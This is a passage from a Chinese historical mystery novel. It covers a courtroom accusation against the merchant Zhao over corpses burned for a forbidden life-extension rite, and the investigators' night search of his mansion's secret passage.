“可是,今日我却见到了石碾的尸身……”
伍二娘怒指赵员外:“是他!是他杀了石碾!”
刺史微微张了张嘴,伍二娘这一通指认言辞清晰,真情实感,怎么看都不像是瞎编的。
刺史早已与赵员外是熟识,他当然第一时间看向赵员外,等他解释。
赵员外像是有口气堵在胸口不顺畅,虚弱地咳了几声道:“妇人诬陷栽赃,空口无凭,我自然不认的。”
景序昭冷声道:“赵员外,伍二娘凭空污蔑你她能得到什么好处,谁人不知你在沙洲的地位,若是得罪了你她将来还怎么活,怕是饭都吃不上一口,更别提为丈夫伸冤了。”
赵员外敛去了目光中那一丝善意,看向伍二娘时有些轻蔑:“我不知她打的什么主意,或许是有人故意买通她来陷害我,毕竟有不少人眼红我的生意,只要我赵家垮了,他们便能渔翁得利。”
刺史补了一句:“有道理,伍二娘,你指认赵员外杀了张满仓、赵田生、孙铁锄三人,可有其他证据?”
伍二娘缓缓摇头,她看起来有些无助。
她没有证据,只有当初石碾亲口对她说的话,可石碾已经死了。
景序昭道:“带王娘子上堂。”
赵秉钧看了景序昭一眼,对身旁的郑靖邦道:“去,传王湘宁。”
郑靖邦把人从大牢里提了出来。
王湘宁跪在堂下。
刺史:“王湘宁,现有人指认赵员外是杀害那三人的真凶,本官给你一次辩解的机会。”
妇人在牢中待了些时日,看起来苍老了几岁,眼睛里也没了从前的神采,但当她听到另有人指认别的凶手时,瞳孔瞬间亮了些。
她环视一周,将目光锁定在同样跪着的伍二娘身上。
见对方的穿着打扮和模样,就是一个普通的农妇,王湘宁燃起来的希望仿佛又瞬间破灭。
一个农妇怎么能为她翻身,这是不可能的事。
“民妇……民妇……”
王湘宁垂着脑袋说不完话,一旦说错了话,那等待她的又会是无尽的折磨,官府有的是手段逼她认罪。
刺史不耐
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烦地扫了两个女人一眼,催促道:“有什么就快说,支支吾吾地做什么。”
陆逍快步从外面进来,悄悄摸摸绕到景序昭身后,悄声对他道:“白蓉绒去了赵家的私矿,赵佑天也去了。”
景序昭嗯了一声,示意陆逍退下,不要节外生枝。
景序昭在堂上道:“刺史,我来苍山之前便已听闻大理寺和刑部要查近三年来的积案,其中涉及部分州县官员,沙洲管辖内两年前曾发生过大案,前御史中丞崔尚礼死于苍山,这桩案子到如今也没真正的水落石出。”
“届时巡查的官员下来必定会重翻当年的卷宗,刺史手里的所有案子都将被一览无遗,包括这桩焚尸案。”
“若案情不清,记录不明,到时大理寺联合御史台参刺史一本可就麻烦了。”
景序昭盯着赵秉钧说,他的眼神仿佛一眼就能将赵秉钧的虚伪外壳看穿。
就在赵秉钧心里忐忑不安时,又听见景序昭道:“两年前丹水屠戮百姓一事,刺史侥幸没被问责,仅两名下属官员被问罪,说明刺史官运亨通。”
“若焚尸一案草草了结,做成冤假错案,将来致刺史的官运被阻,就得不偿失了。”
景序昭说完盯着赵秉钧,他知道在赵秉钧眼里什么最重要,与富商勾结固然能让他有钱赚,但若是连乌纱帽都没了,那还怎么赚钱。
赵秉钧的眼神暗中闪烁,心里有些发虚,他很快就想明白了,还是保住乌纱帽要紧。
景序昭虽是被贬来苍山的,但他终究在刑部任过职,知道不少内幕,重查旧案一事宁可信其有不可信其无。
赵员外见刺史皱眉沉思,他这才有些按捺不住,急急开口道:“刺史,不可听信无知妇人谗言,这些年来我为乡里乡亲送米送粮,又怎会残害百姓。”
赵员外上前一步道:“请刺史为我做主,大恩大德,赵某将来必定涌泉相报。”
陆逍退得远,都退到了池楚浠身旁,他不屑地翻了个白眼,低声道:“他这么说和公然行贿有何区别,只要刺史为他作保,他莫不是可以将所有家当拿出来做谢礼。”
“还有没有王法。”
陆逍的白眼翻到天上去了。
池楚浠低声回他:“不然呢,你家景侍郎那番话可不是白说的,刺史再怎么想包庇都得掂量掂量。”
池楚浠暗中弯了弯唇角,继续和陆逍嘀咕:“白娘子促成阿兄参与这桩案子,若是她此刻回来当面卸了阿兄的面子,让他滚,刺史或许不会考虑阿兄的话。”
“可是如今……”池楚浠差点笑出声,“白娘子去哪儿了,既然她不回来,那刺史就必定会把阿兄的话听进去。”
“好歹他是个前刑部左侍郎。”
刺史有些犹豫不决,他看向季沐风,只见季沐风稳稳地坐着旁听,没有任何要发话的意思。
季沐风的意思多半就是白蓉绒的意思,刺史心一横,一拍惊堂木。
“王湘宁,你尽管说,本官自会全力查明真相。”
“王湘宁,你若知情不报,按律处置!”
王湘宁突然哭了起来,肩膀微微抽动。
所有听见哭声的人都感觉心脏揪着,连呼吸都难受,她竟哭得那般令人动容。
31. 为女续命
景序昭来到王湘宁面前,俯身扶了扶她的肩,小声道:“还记得我么?你尽管将事情一五一十说来。”
王湘宁认出了景序昭,也看见了不远处的池楚浠。
原来他们也是官府的人,或许……或许真的可以做最后一搏呢?
哪怕还有一丝希望,她也想活着出去。
王湘宁有些哽咽。
“民妇的女儿重病缠身,两月前便已得知她没几日可活,大夫都说无药可医,我也知道,她身子弱是自小就打娘胎里带的,治不了。”
“我从未想过世上真的有药能将她治好,若上天能还我一个活蹦乱跳的健康女儿,即使让我去死,我亦无怨无悔。”
王湘宁是带着哭腔说的,即便在场男人居多,无法体会一个母亲的感受,但男人们也都沉默着听她继续说下去。
“晚吟说,她不想喝药了,她知病是治不好的,不想白白浪费家中钱财,她说……想去这世上最接近生死的地方看看。”
“她说,她想知道生与死究竟距离有多远,于是,我带她前往沙洲空缘古刹,据说那里是最接近生死的地方。”
“传闻空缘古刹的最高处,目光所至皆是信仰,所有修行都在这里走向终点,往生极乐。”
王湘宁看向前方,目光里仿佛空了,她好像什么都没看到,又好像看见了一片天地。
沉默了片刻。
刺史受不了,道:“你女儿又不是杀人凶手,扯她做什么,说你是如何与死者扯上关系的,快说来。”
郑司马这时拿上之前的证词,翻开就放在刺史的桌上。
刺史将它拂开:“本官要听你今日的供词。”
郑司马默默地又将原来的证词合上,原来刺史自己也知道之前从未认真审过此案,从未让王湘宁说出真相。
王湘宁从悲戚中回过神来:“我母女二人走了半月才走到沙洲,到了古刹便寻了处寮房住下,有一日,我在古刹上香时遇见了赵员外。”
“赵员外当时走得匆忙,神色慌张,我鬼使神差地跟了上去,却发现他进了古刹的藏书阁,不知怎的,平日里看守藏书阁的弟子那日竟趴在门口睡着了,想来是赵员外做的手脚。”
“我躲在暗中,看见赵员外取了一本书,他从怀中拿出另一本书,我识得一些字,看见那两本书分别写着上下册,合起来是完整一本。”
“他带着两本书匆忙离开古刹。”
景序昭注意着赵员外的神情,在王湘宁说话时赵员外一直皱着眉,隐隐有担忧之色。
王湘宁:“后来,得了藏书阁看守弟子的允许,我正大光明进去了,就翻看赵员外翻过的那一排书籍,都是些民间杂谈,有的也讲生死之道。”
“我对藏书阁弟子说,曾看见有人偷偷摸摸从这里出去,怀里揣了一本书,那弟子便去查看,看完后惊呼,说少了一册《禁术诡谈》,那书中记载着民间一些不正当的续命法子,本是要换个地方存放的,但还没来得及调动。”
“那弟子便问我可记得是谁取走了书籍,我说不认得,后来这事他们便没再来问我。”
王湘宁看向景序昭,见景序昭悄然对她点了点头,鼓励她继续说。
她便抬头直视着赵员外,直接道:“是他,他用书中秘术杀死了那三人,凭空栽赃给我!”
“古刹弟子说那书是邪书,心思不正,我知续命之法不可取,可我依旧惦记着,于是,我三番五次去找赵员外,想让他将书中秘法告知我。”
“前几次赵员外都避而不见,一点不肯向我透露,但那次他亲自把书交到我手中,我怕看一遍记不住,便誊抄下来。”
郑司马将一张纸递给刺史道:“这便是王湘宁手抄的邪书术法。”
刺史不是第一次看这张纸,每次看都觉得心中恶寒,那张纸上写着如何挑选活人续命,如何取杀,不止有字还有图。
王湘宁:“我想要我女儿活着,她才十六岁,我好不容易将她养到十六岁,若可以换命续命,我宁愿把自己的命续给她。”
“拿到图纸的那个傍晚,我在古刹的山坳里看见了三具被烧过的尸体,当时只觉得眼前一黑,当下便没了意识,再次醒来时人便被押到了官府。”
刺史眉头皱得老深,问道:“如你所说,你也没有证据指认赵员外,为何偏偏说是他杀了人?”
王湘宁一口气将事情经过说了一遍,心里已经发虚了,她有勇气说完,但却不认为刺史能为她翻案。
刺史再次道:“你为何笃定赵员外是凶手?”
王湘宁抬眼望着刺史,又看了看景序昭,一副欲言又止的模样。
景序昭沉声道:“王娘子,沙洲所有重案大案的卷宗都会成为将来审查的依据,若你交代不清,日后刺史在卷宗上只能留下一句模糊不清的说辞,届时他要如何向御史交代。”
“你可不能害了刺史。”景序昭这句是看着赵秉钧说的。
赵秉钧听得心底一凉,莫名觉得慌张,哪怕景序昭是故意吓唬他的,他也觉得可怕。
仿佛明日三法司就会派人来审查。
赵员外听了这么多,不知是不是气急攻心,连连咳嗽起来,他身旁的管家一直在抚他的后背为他顺气。
“刺史,此妇污蔑赵某!”赵员外颤颤巍巍地站起来道。
“诶。”刺史抬手制止他继续说,“让王妇把话说完,真相如何本官自会判定。”
王湘宁明显察觉到堂上局势有变,景序昭的几句话真能让刺史认真审理此案?
他堂堂一个沙洲刺史,会因为一桩人命官司就被人拿捏不成,这可不像赵秉钧之前的作风。
王湘宁抱着怀疑的态度道:“重新验尸……便可证明。”
说完她又急切地补了句:“需得换个仵作!”
刺史有些怔怔地看向郑司马,两人交换了一个心虚的眼神。
连妇人都看出来之前的仵作有问题,他们却一直轻信张仵作的话。
郑司马清了清嗓子:“咳咳,尸体已经重新验过,并非是证人所说被你活活烧死,而是死后才被焚烧。”
王湘宁大喜,也顾不上纠结什么疑虑了,她迫切问道:“那尸体可是被取了油脂?”
“这……”刺史看
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向郑司马。
郑司马立即翻看验尸格目。
“池娘子说,尸体是少了该有的油脂,三具尸体均是如此。”
“那便对了!”王湘宁道,“赵员外深知续命之法,他用的便是邪书中的炼油续命手段,除了他还有谁会用此法,我虽誊抄了书页,但我从未做过。”
赵员外忽地冷笑:“你不过是编的故事而已,刺史大可派人去古刹询问是否有丢过书籍,没有证据就在公堂之上胡说八道。”
赵员外气得一拂袖:“赵某亦要请刺史主持公道,否则无论何人都可以来污蔑我!”
王湘宁无声冷笑了一下,她的表情有些僵硬,之前的审问也是如此,无论她怎么说,结果都是一样。
哪怕她不认罪,该蹲大牢的还是她。
赵员外恐怕早就用钱摆平了一切证据,没有人证和物证再能指认他。
王湘宁瘫软地往地上倒去,无声地抹去了眼泪。
旁边的伍二娘将她搀扶着。
伍二娘听完王湘宁的供词,很是同情她的遭遇,更是对她那命途多舛的女儿感到惋惜。
她道:“我亦是证人,我亦状告赵员外杀人!”
王湘宁望着她,泪水模糊了视线。
刺史:“赵瑞堂,你有何说法?”
赵员外努力站直了身子,看起来倒颇有几分年轻时的正气凛然。
他道:“石碾偷盗财物欲逃窜,我是失手杀了他,我愿赔偿石碾娘子一些钱财,让她回去料理后事。”
“至于伍二娘对我杀害三名窃贼的指证,空口无凭,纯属污蔑。”
“王娘子说的什么邪书续命更是胡乱攀扯,故事编得太过离奇,刺史可以去问问古刹藏书阁,我从未进去偷走任何书籍。”
赵瑞堂惋惜般地叹了口气:“我亦同情王娘子,女儿已无几日可活,她发疯在情理之中,若我能救你女儿,我必定施以援手。”
“可惜,人各有命,她已是无药可治,还望王娘子放下心结,接受这一切。”
赵瑞堂说完这番话仿佛整个人都轻松了,他闭了闭眼,深吸了口气,似乎真的在为两个女人惋惜。
池楚浠把赵瑞堂的一切小动作都看在眼里,悄声对陆逍道:“他先前焦虑不安,时而慌张,时而愤怒,这会儿却又是一副悲天悯人的模样,当真是多幅面孔。”
陆逍凑到池楚浠耳边嘀咕:“那可不,你看这员外活了这么大岁数,一个亲儿子都没有,唯一的儿子还是个收养的义子,指不定是年轻时干多了缺德事,老天罚他呢。”
两人站在后排交头接耳。
景序昭往后方看去,正瞧见两人嘀嘀咕咕。
一想起陆逍今日与他说的话,景序昭的脸色顿时沉了下来。
他握紧了佩刀站在堂上冷声道:“赵员外既然这么有信心,那不妨就等等看,看我能否找来你的罪证。”
赵瑞堂露出个和善的笑来:“请便。”
景序昭冷眼瞥去,赵瑞堂却将这刮人的眼神照单全收,他似乎一点都不害怕。
刺史:“那就劳烦景县丞跑一趟。”
32. 心领神会
若人证物证具在,赵员外怎么都逃不掉。
州衙里养了马匹,景序昭正在挑马儿。
马夫指着其中一匹马道:“它叫墨骊,毛色纯黑,可日行百里,从这里到古刹就一眨眼的功夫。”
池楚浠怀里还揣着三棱刺的图纸,也不知这三棱刺与赵家有何关联,花三娘说赵家有这东西,她还没有探出个究竟。
上次去赵家没有机会搜寻,这次就不一样了,景序昭是去找物证的,那她也可以顺带翻一翻赵家。
“阿兄,我随你一起去。”
池楚浠对马夫道:“劳烦您给我也挑一匹快马。”
景序昭故意从头到尾没看池楚浠一眼,只是抬手顺着墨骊的毛发。
池楚浠察觉到他与往日有所不同,疑惑地盯着他看了片刻,并未得出什么结论。
可惜陆逍不在,否则可以问问陆逍发生了何事,为何景序昭突然沉默寡言。
两个人高马大的不良人大步跨了进来,一来便齐齐对景序昭见礼:“景县丞,县令得知您被刺史委托查案,特地派我二人前来做些杂事。”
来的人是小花和铁耀,都是老熟人了,池楚浠冲他二位笑了笑,算是打过招呼。
景序昭跟二位示意:“去选两匹马,随我一起出发。”
小花和铁耀是骑马来的,正好那两匹马需得歇歇,这会儿挑两匹新的。
出发前,池楚浠拿着香膏来问宋晚吟。
离开醉仙楼后,宋晚吟便回了客舍。
池楚浠正要推门进去寻人,恰好碰见陆逍,只见陆逍手里端着一碗汤药。
“陆兄,你为何在晚吟门外?”
陆逍的下巴朝门内抬了抬,小声道:“还不是左侍郎吩咐我照看好宋娘子,好让她阿娘放宽心。”
池楚浠不免想起王湘宁在堂上说的那些话,那些直白的指证若没有景序昭的推波助澜,她恐怕不会顺利地交代出来。
想要让王湘宁安心说话,就务必要照顾好她最放心不下的女儿。
池楚浠不得不承认,虽然景序昭有时办案不讲章法,但他讲人性啊。
她和陆逍一前一后进屋,宋晚吟这会儿正躺在床上小憩,听见有人来了,她缓缓睁开了眼睛。
照顾一个接近死神的病人,陆逍顾不上什么男女有别,他将宋晚吟扶起来坐好,端着药碗递到她嘴边。
“你把药喝了,大夫说喝了这药能让你精神些,你阿娘拜托我们照看好你,我自当尽心尽力。”
池楚浠见陆逍这般细致,忍不住问道:“阿兄已经不是左侍郎了,你为何还听他吩咐?”
陆逍千里迢迢来到沙洲,难道就是这么心甘情愿为景序昭跑腿做杂事?
据陆逍自己说,他父亲是太子詹事,他自己也有官职在身,再怎么样他也不应做着为一个县丞跑腿的活计。
池楚浠疑惑地想着。
却见陆逍道:“池娘子你不知吧,我父亲愿为景司空肝脑涂地,我们整个陆家都在景家的庇护之下,我为左侍郎做事比起说是阿谀奉承,不如说是为家族报恩。”
池楚浠不清楚朝堂之事,想必是陆家曾欠了景家天大的恩情,所以才有报恩一说。
既然如此,也没什么好疑惑的了。
“陆兄,那就拜托你照顾好晚吟,我还得去赵家一趟,若是能找到坐实赵员外的罪证,晚吟的阿娘就有救了。”
听到此处,宋晚吟眼含热泪,她今日的脸上没有任何妆容,模样是池楚浠从未见过的憔悴。
她将碗中的药一饮而尽,拿手绢擦了擦嘴,动作缓慢轻柔。
“有劳你们。”
池楚浠见她精神好了些才道:“晚吟,你给我的那种香膏可知是用何种材料制成?”
宋晚吟道:“那香膏是在本地客商手里买的,是些见不得台面的东西,池姐姐问这个做什么?”
池楚浠将香膏摊在掌心,陆逍见了赶紧一步退得老远。
“你别想又用这东西迷晕我!”
池楚浠道:“陆兄,别这般如临大敌,我要打开盖子让你吸入足够多的香气才能将你迷晕,就这样看看不碍事的。”
陆逍对池楚浠的话将信将疑,主要是上回被迷得太厉害,醒来后连走路都是歪的。
池楚浠道:“这香味向来是女子用的,老翁很少会将它擦在身上吧,可我在赵员外身上闻到了这个味道。”
宋晚吟捏起香膏小瓶,隔着一定距离扇了些味道来闻。
“池姐姐,这东西的味道我很熟悉,即便是不打开盖子它也有极淡的味道散出来,这里面除了有能麻痹人的乌头之外,还有本地一种很常见的草木,甘松,通常被用来制作香料,有些蜡油里也会添加。”
“我家那边也很适合种植甘松,随处都能见着,我不会认错的。”
池楚浠道:“除了甘松还有茉莉香对么?”
宋晚吟点点头:“茉莉的花朵可直接用于浸泡香油,或者经过加工提炼出茉莉精油,添加至香膏中,这样才有清新自然的香味。”
池楚浠笑笑:“你很了解这些。”
宋晚吟唇角弯弯:“我身子不好,极少出门,常年待在家中无趣,还不是只有捣腾这些,我家里有许多香膏呢,若有机会,我给池姐姐拿些来。”
“有心了。”池楚浠道,“你好生歇息,我很快回来,你阿娘那边你别太担心,阿兄会有法子的。”
宋晚吟红着眼眶点头。
陆逍对池楚浠道:“有人顶替你去了醉仙楼跳舞,花三娘那边已经说通了,她不追究此事,不过你尽量别再与花三娘见面。”
池楚浠想了想,问道:“是景序昭的安排?”
陆逍嗯了一声,他还是头次听见池娘子叫左侍郎大名,似乎有些捉摸不透的意味。
但具体是什么意味他还品不出来。
池楚浠若有所思,从她第一次踏进醉仙楼起,景序昭便准备好了替身,那晚是替身去陪的赵秉钧,如今替身又接替了她醉仙楼舞姬的身份。
景序昭在暗中下什么棋,她竟看不明白。
还有景序昭今日对她的态度,很是奇怪,不言不语,甚至不多看她一眼,好似心里憋着一股气似的。
池楚浠在陆逍肩头拍了一下,像寻常好友那般说了句:“知道了,我去找那位景侍郎。”
屋里没有其他人,陆逍就显得有些局促,他挠了挠头道:“宋小娘子,那个……你有事就唤我,我站远些。”
陆逍果真退了很远,都快站到门边了。
只听见宋晚吟噗呲笑了,那苍白的容色也掩盖不住少女原本的俏丽。
陆逍
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也跟着傻傻地笑了一下。
四人纵马跑得飞快,池楚浠稍稍落后,这一路跑来,她只觉得北风将她的脸都吹得没了知觉。
今日的风吹得格外阴冷,若不是这几日气温升了些,池楚浠都觉得自己没法挨过夜晚。
沙洲的夜晚比其他地方的夜晚都要孤寂,或许这真是个最接近生死的地方。
骑马上不了古刹的藏书阁,小花和铁耀将马栓在山腰,跟着景序昭一路往藏书阁走去。
池楚浠体力不如那三人,先前用尽力气骑马追赶他们已有些体力不支,这会儿她终于舍得停下脚步缓了缓。
果然人有时候不能这样急功近利,更不能盲目和男人攀比。
她大口地闭眼呼吸着山腰的空气,仔细点能嗅到一丝丝令人舒心的草木清香。
缓得差不多了,估摸着那三人已经看不见人影,池楚浠睁开眼,却猛然看见景序昭就杵在她眼前。
池楚浠吓了一跳,睁圆了眼睛望着他:“你不必等我,快些去藏书阁找古刹弟子问清楚,我认得去藏书阁的路。”
景序昭似乎早就看透了什么,沉声道:“藏书阁里不会有人证,我已经让小花和铁耀去别处找东西了,赵瑞堂早就将这些事安排妥当,不会这么轻易让我们抓住把柄。”
池楚浠四下一望,根本不知小花和铁耀去了哪里。
她忽然明白了景序昭的意思,一把抓起他的手腕道:“那还不快走,晚了恐怕又来不及了。”
景序昭暗笑了一声,池楚浠似乎永远能在一瞬间懂他心中所想,哪怕他不解释,她也能捋清来龙去脉。
池楚浠虽累着了,但此时已经缓过了劲,从山腰下来时,她故意没去牵回马匹,且选了另一条下山的路。
景序昭让小花和铁耀公然去古刹探查,吸引赵瑞堂眼线的注意,他们则要抓紧时间去另一个地方。
把马儿留在这里可以造成他们并未离开的错觉,争取到更多时间。
天色渐渐暗了下来,西街赵家依旧和往常一样,门口有私兵看守。
这会儿还是第一批私兵,还未到换岗的时辰。
池楚浠指了指一个方位道:“西边有个角门,从那里进。”
两人摸到角门的方向,但角门入口处也有私兵,只是这里的私兵仅有两人。
景序昭的手已经完全放在了刀柄上,他准备悄无声息地解决掉那两个私兵。
池楚浠暗中将他的手从刀柄拂下:“你在刑部办案时也都这样么,杀人都不手软的?”
景序昭道:“瞧这私兵的人数,早已超过了朝廷允许的规制,若是真追究起来这些人难逃一死,还有,谁说我要杀了他们。”
池楚浠尴尬地看了看别处。
景序昭道:“这两人,我来弄晕,你进去。”
池楚浠问:“那你呢?”
景序昭:“跟着你。”
池楚浠:“……”
她扯了景序昭的袖子一把,从怀中拿出一小瓶香膏,拧开了盖子。
景序昭反应快,立即捂了自己的口鼻。
池楚浠拿着香膏远离自己的鼻子,将一支早就准备好的灯芯插入香膏中。
点燃灯芯,香味立即飘散。
景序昭看了看风向,把香膏放在了上风口,恰好可以吹入角门。
33. 为何跪你
一进入角门池楚浠便觉得奇怪,周围竟瞧不见一个奴仆。
确认真的没有旁人,她终于问道:“这是怎么回事,你是不是早就知道府内是这种景象?”
景序昭在渐渐深沉的夜色中弯了弯唇角:“你可知那伍二娘为何突然变了性情,在赵家时什么都不敢说,到了州衙反而一口气吐了个干净。”
池楚浠道:“那位来州衙送金子的人有些怪异,他像是与伍二娘早就认识。”
说完,池楚浠感觉有一只手掌在她头顶赞赏似的抚了一下。
“那人说是来送黄金,倒不如说是专程来给伍二娘递消息的。”
“赵家在方圆百里声名显赫,伍二娘一个农家妇人自然不敢得罪,即使她丈夫死于赵员外之手,她也只能忍气吞声。”
“可是……”
景序昭侧目看向池楚浠道:“可是,有人给她撑腰。”
撑腰……
池楚浠回忆起与伍二娘接触过的人,能为伍二娘撑腰的,能与赵家抗衡的,会是谁?
“赵佑天!”
池楚浠有些不可置信。
景序昭环顾周围,依旧没有下人出现,他拽起池楚浠的手腕走入后园:“趁赵佑天给咱们空出来的间隙,抓紧时间。”
一入赵府后园,池楚浠就感觉周围阴风阵阵,似乎比在山上还冷。
她不由得打了个寒颤。
整个赵府里处处都透着怪异,方才经过前院时发现那边根本没有亮灯,就算家中主人睡下了,可仆人没这么早睡的,不至于一盏灯都没有。
这后院就更奇怪了,周围安静得可怕,但前方却有一个微弱的亮点,应是有人在那间屋里点了烛火。
两人摸到这间亮着光的屋子外,隔着纸糊的窗户能看见里面的人影。
竟有两个人影,两个人影中间用一道屏风隔开了。
在看见屏风前那个人影时,池楚浠差点惊呼出声,这不是宋晚吟么!
屋里的光线不太明亮,池楚浠怯怯地贴近了瞧,就是宋晚吟,此刻她正站在屏风前,神情看不清楚,但似乎有些焦急。
池楚浠使劲掐了自己一把,不太像是梦境,可宋晚吟怎会在此?她明明在客舍里待着,由陆逍照看啊。
池楚浠紧紧盯着房间里的动静。
景序昭难得地露出疑惑的神情,除了疑惑,他还觉得有些惊悚。
因为在屏风后的那个人是赵瑞堂,此人明明已经扣押在州衙了,这会儿竟出现在家里。
看来刺史对这位赵员外很是放任,只要还没定罪就能放他自由。
沙洲刺史还是嫌乌纱帽戴得太久了,一点也不居安思危。
两人都注视着屋内,而此刻屋内两人的注意力根本不在外界,丝毫没发现角落里有人窥视。
屏风前的宋晚吟掩嘴咳了一声,似乎身体不适。
只见赵瑞堂隔着屏风突然下跪,他对着宋晚吟所在的方向跪拜磕头,看起来无比虔诚。
池楚浠惊讶得捂了嘴。
再待下去会被发现,景序昭将池楚浠拉走,径直去了赵瑞堂的卧房,第一次来赵家时便是在卧房里见的赵瑞堂,景序昭对这里记忆尤深。
终于看见了一个丫鬟的身影,她提着灯笼快步从卧房前走过,未做任何停留。
池楚浠跟在景序昭身后,她留意到景序昭的手又放在了刀柄上。
看来他即便是知道今日赵佑天有意为他开门,但还是一万个不放心。
景序昭的那分不安池楚浠能感受到,她只默默地跟了上去。
两人快速钻进卧房,景序昭反手迅速将门合上,以防有人发现端倪。
赵瑞堂忙着在另一边磕头,暂时还不会回来。
池楚浠道:“赵佑天有何目的?”
景序昭还没回答便开始在屋内翻找,池楚浠知道他在找什么,于是也跟着他一起翻。
除了要找王湘宁说的那本邪书,池楚浠还想找到关于三棱刺的东西。
景序昭道:“我让陆逍查过,赵瑞堂这些年来没有留下个一儿半女,到老了不得已才收了个义子,赵佑天表面上处处孝顺他,背地里早已将赵家所有生意揽到自己名下,还换走了赵瑞堂从前的亲信,如今管理赵家产业的大多都是赵佑天的人。”
池楚浠:“义子是想要把义父推出赵家,自己独占赵家的一切?”
景序昭嗯了一声:“若非这个还能是什么,人为财死鸟为食亡,赵佑天应当也是如此。”
“密室?”池楚浠摸到架子上那个与众不同的花瓶。
只旋转半圈,眼前便敞开一个门缝。
景序昭算了算时辰道:“铁耀会带着衙兵赶来赵家,我去密室看看,你在外等着,不必进去。”
景序昭说完却见池楚浠先他一步走进密室。
她道:“既然衙兵都会来,你已安排好了,我还有什么可担心的,你一人进去难道就不是涉险吗?”
说着,池楚浠已经点燃了一只蜡烛用烛台端着。
景序昭透过卧房的窗户往外看去,能确定衙兵所在的方位。
他拧着眉进了密室。
方才从卧房前经过的丫鬟提着灯笼站在了赵佑天面前,低声垂眸道:“少主,他们已经进去了。”
赵佑天嗯了一声:“你去歇着吧,没你什么事了。”
丫鬟退了下去。
赵佑天望着卧房后方,自顾自地道:“义父,你命硬又能硬得过几时,这位景县丞就是来克你的。”
“呵。”
赵佑天拂袖隐去身形。
密室里竟然有一条很长的甬道,甬道两旁是石壁,石壁上挂着未点燃的烛台。
池楚浠点亮了两个烛台,照亮了前方一段路。
“阿兄……这是什么?”
池楚浠挪开脚下踩着的地砖,地上有一道道的深色印记,像是什么东西拖拽过的痕迹。
刚问出口池楚浠就已然意识到不对劲,灵敏的嗅觉让她将这里的味道与死尸对上号。
景序昭蹲下查看地面的污迹,沉声道:“是血,已经干了许久。”
池楚浠闻着甬道里的余味,眉头皱起:“这里有焚烧过肉类的味道,很淡,应是过了四五日。”
景序昭:“没有别的?”
池楚浠:“有,我感觉像停放过死尸,但也极淡,尸体应该不在这里。”
景序昭从石壁上取下一个烛台:“往里走。”
池楚浠把烛台端得较低,特意去看地上的污迹,少许干涸的血液已经牢牢染在了地板上,看起来只是一条黑影。
有细微的风迎面吹来,是突然而来的冷风,前一刻还没有。
景序昭警惕起来,迅速将池楚浠拉至身后。
“你别走那么快,跟在我后面。”
池楚浠被他拽到了后方,于是就顺势走在他侧面,让景序昭去做那个挡风盾。
“这个甬道的方向……是通往赵瑞堂所在的那间屋子。”景序昭道。
池楚浠在里面走来走去也察觉到了,方向就是通往宋晚吟和赵瑞堂那
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边的,这两间屋子极有可能暗中相连。
前方似乎就是甬道的尽头,深处突然传来一声惨叫,听声音是个男人。
景序昭提刀迅速冲了过去。
池楚浠追着他的脚步跑到了传出声音的地方,先前那个惨叫的声音变成了痛苦的呻.吟。
前方的光线不够明亮,隐约看见有三个人影站在一处,其中一人捂着肚子蹲在地上,声音就是他发出来的。
“赵员外。”
景序昭的刀在视物不清的空间里稳稳地架在了赵瑞堂脖子上。
景序昭的声音仿佛催命符:“赵员外躲在这里杀人?”
只听得哐当一声,赵瑞堂手里的刀掉落在地,他忽地笑了:“错了,是他要杀我。”
池楚浠动作麻利地点亮了周围的烛台,这下彻底看清了甬道尽头的三人。
赵瑞堂、宋晚吟、顺儿。
“池姐姐……”宋晚吟弱弱地唤了一声。
池楚浠来不及理会她,迅速弯腰捡起地上的刀,这是……三棱刺。
池楚浠牢牢将刺刀握在手里,她并未见过真正的三棱刺,只是通过梦境里的文字描述画了一张图纸。
此刀有三道血槽,刺入人体后会造成难以止血的方形伤口,且由于血槽设计,刺刀易于拔出,便于快速转移目标,在刺杀时效果显著。
这把刀和她画的图纸并没有太大差别。
在阴暗的光影下,赵瑞堂那张看似慈善的脸显得有些刻薄,阴影的遮挡使脸颊上看起来没什么肉。
他垂下眼皮看了看架在脖子上的刀:“景县丞,家奴想要杀我,你不惩治家奴反倒威胁我是何意?”
景序昭沉声道:“那赵员外此刻不在州衙反倒在家又是何意?”
赵瑞堂:“我无罪,刺史理应送我归家,景县丞有异议不妨去找刺史对峙。”
宋晚吟忽然大声道:“是刺史收了他的钱财让他回家休养。”
赵瑞堂朝宋晚吟看去,似乎她喊得越大声,精力消耗得越厉害他就越高兴。
见宋晚吟说完话连喘气都困难,赵瑞堂甚至笑出了声。
池楚浠扶住宋晚吟:“晚吟,你为何与他共处一室,他为何跪你?”
“他跪我?”宋晚吟有些不解,“池姐姐,他何时跪我了?”
池楚浠急切道:“就在外面那个屋中,你们之间隔了一扇屏风,他就在屏风后对你下跪磕头。”
宋晚吟愣愣的,她看向赵瑞堂道:“你不是说给我物证洗清我阿娘的冤屈吗,在屏风后偷偷跪我做什么,我要的东西呢?”
赵瑞堂道:“不是有这位景县丞为你阿娘洗清冤屈吗,你指望我能拿出什么物证,我自己身上也有冤,我找谁说理去。”
“你!你是骗我过来的!”宋晚吟指着他的手指有些发颤,她呼吸又有些不顺了。
池楚浠在她后背抚了抚:“别急,让景县丞审。”
被刺了一刀的顺儿已经倒在了地上,他双手用力捂住腹部的血窟窿,可血流得异常的快,明明刀口不大,血却怎么也止不住。
池楚浠知道这便是三棱刺的威力,刀身的三道血槽就是用来放血的,好让人快速死亡。
她扯下顺儿身上的衣料,尽可能地裹住伤口。
顺儿说话的力气都弱了许多,他道:“是赵员外,他将我带到此处要杀了我泄愤。”
“他让我处理石碾的尸体,我没办好,尸体被所有人发现了,他气不过就要杀了我。”
“景县丞,你们……救救我。”
34. 向你投诚
池楚浠包扎好伤口,可血依旧在往外涌,再这样下去,顺儿就活不成了。
“我带顺儿出去找大夫。”
顺儿身形瘦弱,个子不高,池楚浠较为容易地将他背上。
“晚吟,你也随我出去,这里太闷会让你呼吸不畅。”
外面响起嘈杂的脚步声,还有佩刀拔出的声响。
密室的入口早已被赶来的小花和铁耀打开,他们将池楚浠接了出来。
赵佑天从衙兵里挤过来接走了顺儿,一脸着急道:“快去请大夫!”
赵佑天抱着顺儿大步冲了出去,流血过多的顺儿无力地挤出个笑来:“阿兄……别忙活了,我死而无憾。”
顺儿的唇色愈加苍白,他想要一口气把话说完:“赵瑞堂,他把书烧了,我没拿到……不过,古刹还有一个人,他知道……”
“别说话了!”赵佑天怒道,“先看大夫,先止血!”
“大夫!大夫呢!”
赵家的下人们匆匆来去,都急着去接大夫,如今这府里有一半的仆人都听赵佑天的。
赵府里的那些老人这些年都被赵佑天一点点替换了。
小花领着衙兵进了密室。
